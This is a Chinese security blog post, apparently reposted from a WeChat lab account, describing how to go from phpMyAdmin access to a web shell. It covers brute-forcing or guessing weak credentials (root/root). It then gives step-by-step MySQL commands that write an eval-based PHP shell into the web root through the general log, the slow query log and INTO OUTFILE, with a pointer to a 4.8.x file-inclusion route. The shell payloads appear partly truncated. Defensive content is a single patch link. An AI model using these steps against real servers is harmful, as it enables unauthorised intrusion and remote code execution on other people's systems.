从PhpMyAdmin到getshell实践

admin 2024年5月19日23:57:48评论34 views字数 2159阅读7分11秒阅读模式
0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

从PhpMyAdmin到getshell实践

0x01漏洞介绍

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

phpMyAdmin跟其他PHP程序一样在网页服务器上执行,可以在远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin后台,可通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台。分享一些真实环境中常用到后台getshell的方法。


从PhpMyAdmin到getshell实践

0x02测试版本

访问/phpMyadmin/README

从PhpMyAdmin到getshell实践



从PhpMyAdmin到getshell实践

0x03漏洞复现

1.访问漏洞环境

从PhpMyAdmin到getshell实践

2.通过工具对phpMyadmin平台进行暴力破解,成功登录后台,存在弱口令 root/root

从PhpMyAdmin到getshell实践

成功登录到后台

从PhpMyAdmin到getshell实践

方法1

开启全局日志getshell

1.利用条件为有操作权限

2.查看配置

show variables like '%general%';

从PhpMyAdmin到getshell实践

3.开启general log模式

set global general_log = on;

从PhpMyAdmin到getshell实践

4.设置日志目录为shell地址(绝对路径通过phpinfo获取)

从PhpMyAdmin到getshell实践

set global general_log_file = 'C:/phpStudy/WWW/tm.php';

从PhpMyAdmin到getshell实践

5.写入shell内容,将记录到日志

select '



 eval($_POST[cmd]);?>'

从PhpMyAdmin到getshell实践

6.成功写入文件,中国蚁剑成功连接。

从PhpMyAdmin到getshell实践

方法2

使用慢查询日志getshell

记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句。

1.查看配置

show variables like '%slow%';

从PhpMyAdmin到getshell实践

2.修改日志文件绝对路径及文件名,(绝对路径通过phpinfo获取)

set global slow_query_log_file = 'C:/phpStudy/WWW/mt.php';

从PhpMyAdmin到getshell实践

3.启用慢查询日志

set GLOBAL slow_query_log=on;

从PhpMyAdmin到getshell实践

4.通过慢查询写shell

select '



' from mysql.db where sleep(10);

从PhpMyAdmin到getshell实践

5.成功写入文件,中国蚁剑成功连接。

从PhpMyAdmin到getshell实践

方法3

select into outfile直接写入

1.利用条件

  • 对web目录需要有写权限能够使用单引号

  • 知道绝对路径

  • secure_file_priv没有具体值

2.查看有没有配置secure_file_priv

show global variables like '%secure%';

从PhpMyAdmin到getshell实践

注意:

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍

  • 1、secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

  • 2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

  • 3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

这里为nulll,所以没有写权限

这里演示通过获得shell修改文件修改secure_file_priv 的值为空,在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' ,重启服务器即可。

从PhpMyAdmin到getshell实践

select '



' into outfile 'C:/phpStudy/WWW/yz.php';

3.成功写入shell,中国蚁剑成功连接。

从PhpMyAdmin到getshell实践

方法4

利用phpmyadmin4.8.x本地文件包含漏洞getshell

通过包含sedsion文件的方法来getshell

因环境问题,请参考

https://www.cnblogs.com/0nc3/p/12071314.html

从PhpMyAdmin到getshell实践

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2


弥天简介

学海浩茫,予以风动,必降弥天之润!弥天弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来


















从PhpMyAdmin到getshell实践


知识分享完了

喜欢别忘了关注我们哦~


学海浩茫,

予以风动,
必降弥天之润!


弥 天

安全实验室

从PhpMyAdmin到getshell实践

原文始发于微信公众号(弥天安全实验室):从PhpMyAdmin到getshell实践

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日23:57:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从PhpMyAdmin到getshell实践https://cn-sec.com/archives/2018513.html

发表评论

匿名网友 填写信息